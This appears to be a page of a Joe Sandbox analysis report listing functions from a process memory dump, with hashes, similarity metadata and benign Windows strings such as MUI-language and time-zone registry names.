Instruction ID: 9b5f4fb9875c6876c932e4128e9800c708acc4d40f0b969179b44b3e8b2884d0
Opcode Fuzzy Hash: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction Fuzzy Hash: 4FB01272100580C7E30D9714D90AB4B7210FB80F00F00CD3AA00781861DB78DA2CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FBE8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction ID: 9452a8d0b0f104eb9e4922b1c8778681c83a3ee0f3d85b1ffb0a7dc5c1b1eaf2
Opcode Fuzzy Hash: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction Fuzzy Hash: 9AB01272100640C7E349A714DA0BB5B7210FB80F00F00893BE00781852DF389A2CD986

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FBB8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FB50 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FC90 Relevance: .0, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FC60 Relevance: .0, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FC48 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction ID: ba27d4cd5f553268e31cb600e7e3d5a3e50323ff6ed211678ad30f7188510e08
Opcode Fuzzy Hash: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction Fuzzy Hash: 39B01272100540C7E319A714D90AB5B7250FF80F00F00893AE10781861DB38992CD456

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FC30 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction ID: bea31e52b4947098166a5853b381437c0ce687cada8622438d1654f6fc3cd67c
Opcode Fuzzy Hash: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction Fuzzy Hash: B2B01272140540C7E3099714DA1AB5B7210FB80F00F008D3AE04781891DB7C9A2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FD8C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1D80 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction ID: c40cb18f784fb740092d7f35057b9839572fe11e4001cfe90af8ac8386c88b07
Opcode Fuzzy Hash: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction Fuzzy Hash: A6B09271508A40C7E204A704D985B46B221FB90B00F408938A04B865A0D72CA928C686

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FD5C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction ID: 152fdd420af7dfcc6df86c72954370e6eab1db85fd0a81c34441345ed48de2b3
Opcode Fuzzy Hash: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction Fuzzy Hash: 27B01272141540C7E349A714D90AB6B7220FB80F00F00893AE00781852DB389B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FED0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FEA0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FE24 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction ID: 4523e9276363b51c29093556ee00c3605be97a6a096d126b10744d78506899f7
Opcode Fuzzy Hash: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction Fuzzy Hash: E7B012B2104580C7E31A9714D906B4B7210FB80F00F40893AA00B81861DB389A2CD456

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FFFC Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction ID: 5af6445773ea8696aa9cd62fdf5509cf1cb9f7b4cf56a5a77559796e3d2133fe
Opcode Fuzzy Hash: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction Fuzzy Hash: 07B012B2240540C7E30D9714D906B4B7250FBC0F00F00893AE10B81850DA3C993CC44B

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FFB4 Relevance: .0, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 00E9FF34 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction ID: c0177d7ad0d10355b3c7d2619bc7f24452a3c2aab25a1a733e07692cdee9b307
Opcode Fuzzy Hash: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction Fuzzy Hash: B1B012B2200540C7E319D714D906F4B7210FB80F00F40893AB10B81862DB3C992CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

_wcspbrk.LIBCMT ref: 00EC8891
_wcspbrk.LIBCMT ref: 00EC8979
_wcspbrk.LIBCMT ref: 00EC8A61
_wcspbrk.LIBCMT ref: 00EC8A9B
_wcspbrk.LIBCMT ref: 00F11B9C

Strings

WindowsExcludedProcs, xrefs: 00EC87C1
Kernel-MUI-Language-Allowed, xrefs: 00EC8827
Kernel-MUI-Language-Disallowed, xrefs: 00EC8914
Kernel-MUI-Language-SKU, xrefs: 00EC89FC
Kernel-MUI-Number-Allowed, xrefs: 00EC87E6

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 2e8a661b9cde0a713eba9bf35f2243b0b2ad0a2b21f5fa51d40dbc360c869c00
Instruction ID: 9cd8fe48dbc2153416ee11347aded4a4f35df4ebbd2bd4461283e22b5f2e7b7e
Opcode Fuzzy Hash: 2e8a661b9cde0a713eba9bf35f2243b0b2ad0a2b21f5fa51d40dbc360c869c00
Instruction Fuzzy Hash: 4CF1C6B2D00209EFCF51DF95CA81EEEB7F8BB08304F14546AE605B7211EB35AA45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F3822C Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00F38240
_wcsnlen.LIBCMT ref: 00F3825C

Strings

TimeZoneKeyName, xrefs: 00F3836A, 00F3839B
DaylightName, xrefs: 00F38309
Bias, xrefs: 00F38282
DaylightStart, xrefs: 00F38341
StandardBias, xrefs: 00F382C7
StandardName, xrefs: 00F382A8
DynamicDaylightTimeDisabled, xrefs: 00F383C1
DaylightBias, xrefs: 00F38324
StandardStart, xrefs: 00F382E5

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: fe563eba0831e46b4a0561e20a1c7d1434d1ecaff5c1b14b34ff6f687d37833a
Instruction ID: ca631009b6b45aa5356e98202ec01ab98f449edc456c0e06515aeb71248c8402
Opcode Fuzzy Hash: fe563eba0831e46b4a0561e20a1c7d1434d1ecaff5c1b14b34ff6f687d37833a
Instruction Fuzzy Hash: 8C417676340709BAEB019A90CC42FEE776C9F05BE4F104111FB04E6191DBBDDB56A7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00EE13CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00EE146B
___swprintf_l.LIBCMT ref: 00EE1490
___swprintf_l.LIBCMT ref: 00F0E970

Strings

ffff:, xrefs: 00F0E94B
